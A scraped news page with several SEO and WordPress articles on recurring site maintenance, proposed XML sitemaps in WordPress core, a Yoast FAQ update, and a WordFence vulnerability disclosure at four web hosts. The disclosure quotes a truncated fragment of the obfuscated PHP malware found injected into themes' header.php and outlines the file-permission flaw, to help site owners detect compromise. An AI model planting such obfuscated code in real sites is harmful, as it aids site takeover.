Connect with us


Don’t skip these critical recurring SEO tasks



No matter how perfectly you’ve optimized a website, it will always require constant maintenance. This is because figuratively speaking, much like a vehicle, there are a lot of moving parts and many of those parts have an impact on others.

In other words — SEO will never be done. It’s a constantly moving target.

There are some tasks, like migrating from HTTP to HTTPS, that are done once. Other tasks are performed on a weekly or monthly like content development, and others that might be conducted on a quarterly or yearly basis.

As we near the end of the year, many marketers will begin planning for next year. It’s equally important to review what we’ve done throughout the year to make sure that our work didn’t inadvertently cause issues in other areas. This helps us to get the most from our efforts as well as to begin next year with a head start.

In this article, I’m going to dig into the tasks that we typically handle on a quarterly or yearly basis, because frankly, they often get ignored until there is a crisis. Proactively handling them will give you a powerful advantage over competitors.

Crawl for broken links

Pages get moved or deleted. Images get replaced. External resources move or even disappear.

Over time, these seemingly minor changes can have a significant impact on a website. Often the impact is positive. But when it results in broken links that aren’t resolved, the negative impact can add up quickly.

It’s easy to fix some broken links on the spot by updating the main navigation when core pages are moved or deleted. It can be more complicated when internal links within content come into play.

This is where specialized tools are especially useful.

Rather than manually reviewing each page, which is what we had to do when I first got into SEO, you can simply use automated software to do the heavy lifting. An added benefit is that unlike humans with short attention spans, the software will catch every broken link.

Review content for quality and relevance

You should be producing content regularly.

If you’re doing that, you’ll typically find that over time, some of that content will become irrelevant or may no longer meet your quality standards. Some of this content may need to be pruned or improved.

This isn’t a bad thing. It’s just the nature of content development.

As we approach the end of the year, now is the effect time for this. Most business owners are elbow deep in evaluating their performance for the year and planning for the next year.

I recently reviewed one of our client’s websites for this reason and found a tremendous amount of content, that while useful at one point, no longer served a purpose.

This happens for a variety of reasons.

For this particular client, in some cases, it was news related to their industry that was no longer relevant. In others, it was content about specific internal events. And in some, fortunately, rare cases, it was content created by the client’s staff that never should have been created in the first case.

Once you’ve identified the content on your website that doesn’t meet your quality and/or relevance standards, you’ll need to determine what to do with it.

Some content may no longer be relevant because of changes in your industry or your business. This content can be deleted, and the URLs should then be redirected to the most relevant content that still exists. If there is nothing relevant to a particular page that’s being deleted, then you can delete it without setting up a redirect. However, if that page has any inbound links or has received any organic traffic in the past twelve months, I highly encourage you to find something on your website to redirect it to.

Some content may simply no longer meet your quality guidelines. Perhaps your writing skills have improved dramatically. Or maybe the content is simply too thin.

The solution to lower-quality content is simple — improve it.

This may mean rewriting the content, adding additional information, and even including images, data, and links to other external resources. Just remember — longer isn’t always better. You should aim to answer your visitors’ query clearly and concisely. Skip the fluff. If you can say everything that needs to be said with just 750 words, then there won’t be anything gained by inflating it to 3,000 words.

Test for page speed

We already know, thanks to data from a variety of sources, that page speed has a dramatic impact on user experience. We also know that it is a ranking factor, both because we’ve seen the evidence and because Google has told us.

Just as low-quality content can grow over time, small tweaks to your website can add up to adversely affect page speed over time as well.

A font file here, a JavaScript library there, and before you know it, your website is crawling along slower than that dump truck you got stuck behind at rush hour. And don’t even get me started on WordPress plugins.

I can tell you from first-hand experience that this happens to most websites that are maintained and updated regularly. That’s why it’s so important to regularly test page speed especially on your highest traffic pages.

If you have a small website (under 1,000 pages), then I recommend testing all of your pages. The task isn’t as monumental as it may seem. We’ll talk about the execution shortly.

For websites over 1,000 pages, my recommendation is to first test the pages that drive 30 percent of your traffic. Next, test any pages not included in that dataset that are critical to your business. And finally, identify the pages in the bottom 10 percent in terms of organic traffic, highlight any that are somewhat to moderately important, and test them.

The good news is that you don’t need to manually test each page. You can collect the initial data right inside of Google analytics.

If a page typically loads in under three seconds, you’re good to go. If it typically takes longer than three seconds, it’s time to use a tool like or GTmetrics to identify the elements that are causing the issues.

If fixing these type of issues is something you’re not familiar with, you can check out a recent article I published on the topic, titled How to rev up your page speed for better website performance.

Review WordPress plugins

I mentioned earlier that WordPress plugins could have a negative impact on page speed. This is because they often include CSS and JavaScript files and sometimes will even include JavaScript libraries that have already been enqueued by WordPress core, the theme or other plugins. Some will also include fonts like FontAwesome or Ionic Icons, which more often than not, are loaded remotely. This has a tremendous and adverse impact on page speed. But the problems don’t end there.

Plugins must be updated by the author regularly to continue functioning properly. This is due to changes in:

  • WordPress
  • PHP and JavaScript
  • HTML standards
  • Browsers

But for a variety of reasons, plugin authors may infrequently update their plugins to keep up with changes in this environment, or in some cases, may simply abandon them entirely.

This can affect functionality, appearance, page speed, and even technical SEO. In some cases, it can even render an entire website inaccessible.

It’s wise to review WordPress plugins regularly—not just in terms of you having the most current version installed, but also in terms of whether the author has kept the plugin up to date with current standards.

While doing this, I also recommend putting serious thought into whether each plugin is really necessary. If you can eliminate a plugin, not only will you typically improve page speed, but you’ll also reduce your maintenance workload and potentially improve security. It’s a win all the way around.

Test layout and functionality in major browsers

I explained how incremental changes to your website could impact page speed, but they can also impact how some pages look and function.

I had this happen to me recently with a client’s website.

We made a change to the CSS file to change the appearance of a particular section but didn’t realize until it has been live for a few days that it also changed the appearance in another section. It was pure coincidence that we stumbled across the other section and spotted the issue.

Imagine how small changes throughout weeks or months could inadvertently add up to drastically affect the layout and functionality of unintended elements.

I recommend taking an approach similar to the one I explained for testing page speed. First, identify the pages that drive 30 percent of your organic traffic for testing. Then identify any pages not part of this group that is critical to your business. You can skip the pages that deliver the bottom 10 percent of your organic traffic.

Unfortunately, to test layout and functionality, you will need to manually check these pages, but in most cases, it shouldn’t take more than a few seconds per page.

Opinions expressed in this article are those of the guest author and not necessarily Search Engine Land. Staff authors are listed here.

About The Author

Jeremy Knauff is the founder of Spartan Media, a digital marketing agency in Tampa, Florida. He’s also a proud father, husband, and US Marine Corps veteran. After 18 years in the digital marketing industry, he’s learned a thing or two, and today, while still serving his clients, he’s working to share his knowledge with the industry to help even more people.

Source link

Continue Reading
Click to comment

You must be logged in to post a comment Login

Leave a Reply


Yoast, Google devs propose XML Sitemaps for WordPress Core



Yoast, Google devs propose XML Sitemaps for WordPress Core

The inclusion of XML Sitemaps as a WordPress Core feature has been proposed by a group of Yoast and Google team members as well as other contributors. In addition to a basic XML Sitemap, the proposal also introduces an XML Sitemaps API that would extend functionality for developers and webmasters.

The proposed XML Sitemaps structure. Image sourced from Make WordPress Core.

What it’ll include. The proposal states that XML Sitemaps will be enabled by default, allowing for indexing of the following content types:

  • Homepage
  • Posts page
  • Core post types (Pages and Posts)
  • Custom post types
  • Core taxonomies (Tags and Categories)
  • Custom taxonomies
  • Users (Authors)

It’s worth keeping in mind that your WordPress site’s automatically generated robots.txt file will also reference your sitemap index.

What it won’t include. Although the proposed feature will include the majority of WordPress content types and meet search engine minimum requirements, the initial integration will not cover image, video or news sitemaps, XML Sitemaps caching mechanisms or user-facing changes such as UI controls that exclude individual posts or pages from the sitemap.

The XML Sitemaps API. Here’s how the API will let you manipulate your XML Sitemaps:

  • Provide a custom XML Stylesheet
  • Add extra sitemaps and sitemap entries
  • Add extra attributes to sitemap entries
  • Exclude a specific post, post type, taxonomy or term from the sitemap
  • Exclude a specific author from the sitemap
  • Exclude specific authors with a specific role from the sitemap

Why we should care. Sitemaps facilitate indexing by providing web crawlers with your site’s URLs. If implemented, this might mean one less third-party plugin that brands and webmasters have to rely on for their SEO efforts. As a WordPress Core feature, we can expect wider compatibility and support than we might get from third-party solutions.

Poorly optimized plugins can also slow down your site, which can have a negative impact on your organic traffic. This default option from WordPress may not replace plugins like Yoast SEO because they often include other features in addition to XML Sitemaps, but its availability has the potential to provide us with more flexibility over which plugins we install.

About The Author

George Nguyen is an Associate Editor at Third Door Media. His background is in content marketing, journalism, and storytelling.

Continue Reading


Yoast SEO 11.4 adds FAQ structured data, UX improvements



Yoast SEO 11.4 adds FAQ structured data, UX improvements

Yoast SEO’s latest update enhances its FAQ blocks by automatically generating structured data to accompany questions and answers. The update also introduces some UX improvements and addresses issues with AMP pages when viewed in Reader mode.

How to use it. Yoast’s FAQ structured data implementation is only compatible with the WordPress block editor (also known as Gutenberg; available on versions 5.0 and newer). Webmasters can get started by selecting the FAQ block, adding a question, inputting the answer and an image (if applicable) and repeating the process for all frequently asked questions.

The Yoast FAQ block.

The corresponding FAQpage structured data will be generated in the background and added to Yoast’s structured data graph, which may help search engines identify your FAQ page and figure out how it fits into the overall scheme of your site.

A new action and filter were also introduced to make this integration more flexible. The wpseo_pre-schema_block-type_<block-type> lets you adjust the graph output based the blocks on the page and the wpseo_schema_block_<block-type> filter enables you to filter graph output on a per-block basis.

Other improvements. Yoast has also linked the SEO and readability scores in the Classic Editor and relocated the Focus keyphrase field to the top of meta box and sidebar to make it easier to find. And, they’ve resolved issues with AMP pages when viewed in Reader mode.

Why we should care. At this year’s I/O conference, Google announced support for FAQ markup, which may mean that searchers will be presented with FAQs as rich results more frequently. Being able to easily and efficiently equip our FAQ sections with structured data can yield better odds of earning prominent placement on SERPs.

For more on Yoast’s structured data implementation, check out our coverage on their 11.0 (general schema implementation), 11.1 (image and video), 11.2 (custom schema) and 11.3 (image and avatar) updates.

About The Author

George Nguyen is an Associate Editor at Third Door Media. His background is in content marketing, journalism, and storytelling.

Continue Reading


Web Host Vulnerability Discovered at iPage, FatCow, PowWeb, and NetFirm



Web Host Vulnerability Discovered at iPage, FatCow, PowWeb, and NetFirm

WordFence announced that they had discovered a vulnerability at four hosting companies. WordFence warns that while the vulnerability was patched, it’s possible sites were hacked prior to the fix.

Server settings allowed hackers to create WordPress administrator accounts from which the sites could be exploited with rogue code added to the WordPress theme.

WordFence urged site administrators to check their sites for rogue administrator accounts if they are hosted on iPage, FatCow, PowWeb, or NetFirm. All four are owned by the same company, Endurance International Group.

What Was the Server Vulnerability?

The affected servers had permission and file settings that allowed an attacker to view sensitive files. Other vulnerabilities allowed the attackers to access the database, add themselves as an administrators then take over the site.

This is how WordFence described the vulnerability:

“Four conditions existed that contributed to this vulnerability:

1. Customer files are all stored on a shared file system.

2. The full path to a user’s web root directory was public or could be guessed.

3. All directories in the path to a customer’s site root directory were either world-traversable (the execute bit for ‘all users’ is 1) or group-traversable (the execute bit for ‘group’ is 1), and the sensitive files were world-readable (the read bit for ‘all users’ is 1) or group-readable (the read bit for ‘group’ is 1).

4. An attacker could cause a program running in the group www to read files in arbitrary locations.”

Sites Could be Infected

WordFence warned that there was a period of time before the vulnerability was fixed during which sites hosted on these four host providers could have been infected.

It is recommended that site owners check their user lists to make sure there are no unauthorized administrators. If your site has been affected, then there should be rogue code that was added to the theme.

Here is how WordFence described the rogue code:

“If your site was exploited before the fixes, the attackers may have added malware which could still be present. Our customers had obfuscated code added at the top of the active theme’s header.php file, similar to this:

<?php ${“x47x4cx4fx42x41x4cx53”}[“ddx70x68zx67x64gx”]=”slx77kx77i”;${“x47x4cOx42x41Lx53”}[“cx7ax66x6dubkdox6ax78″]=”x6cx6fx63x61tx69x6fn”;${“x47x4cx4fBx41LS”}[“x67x64x64ex74x62px75fx65i”]=”x68tx6dx6c”;${“x47x4cOBx41x4cS”}[“x77ix64x68x6bvx6da”]=”x73tx72x66″;${“x47x4cx4fx42x41x4cx53”}[“x66sx75x71x79x6evw”]=”bx6fx74″;${“x47x4cOBALx53”}[“wx6cx79x63x61x76x62x71x68x6fx6cx75″]=”cacx68x65”;${“Gx4cOx42x41Lx53”}[“ryx68x72kux6b”]=”x73x63hx65x6dx65″;${“x47x4cx4fx42x41Lx53”}[“x74x6ax6bcx64ex65x69w”]=”x73lx77kx77ix32″;${“Gx4cOBAx4cS”}[“x79x65x64x73x67x6ahx69x73x67″]=”x73x6cx74lx65x69lx73″;”

Vulnerability Has Been Fixed

WordFence disclosed the vulnerability to the hosting companies before making a public announcement. The hosting companies promptly fixed the vulnerabilities.

Nevertheless, according to the guidance offered by WordFence, you may wish to check your user lists for rogue admin level accounts and review your header.php file for rogue code.

Read the entire announcement at the WordFence blog

Images by Shutterstock, Modified by Author

Continue Reading


Copyright © 2019 Plolu.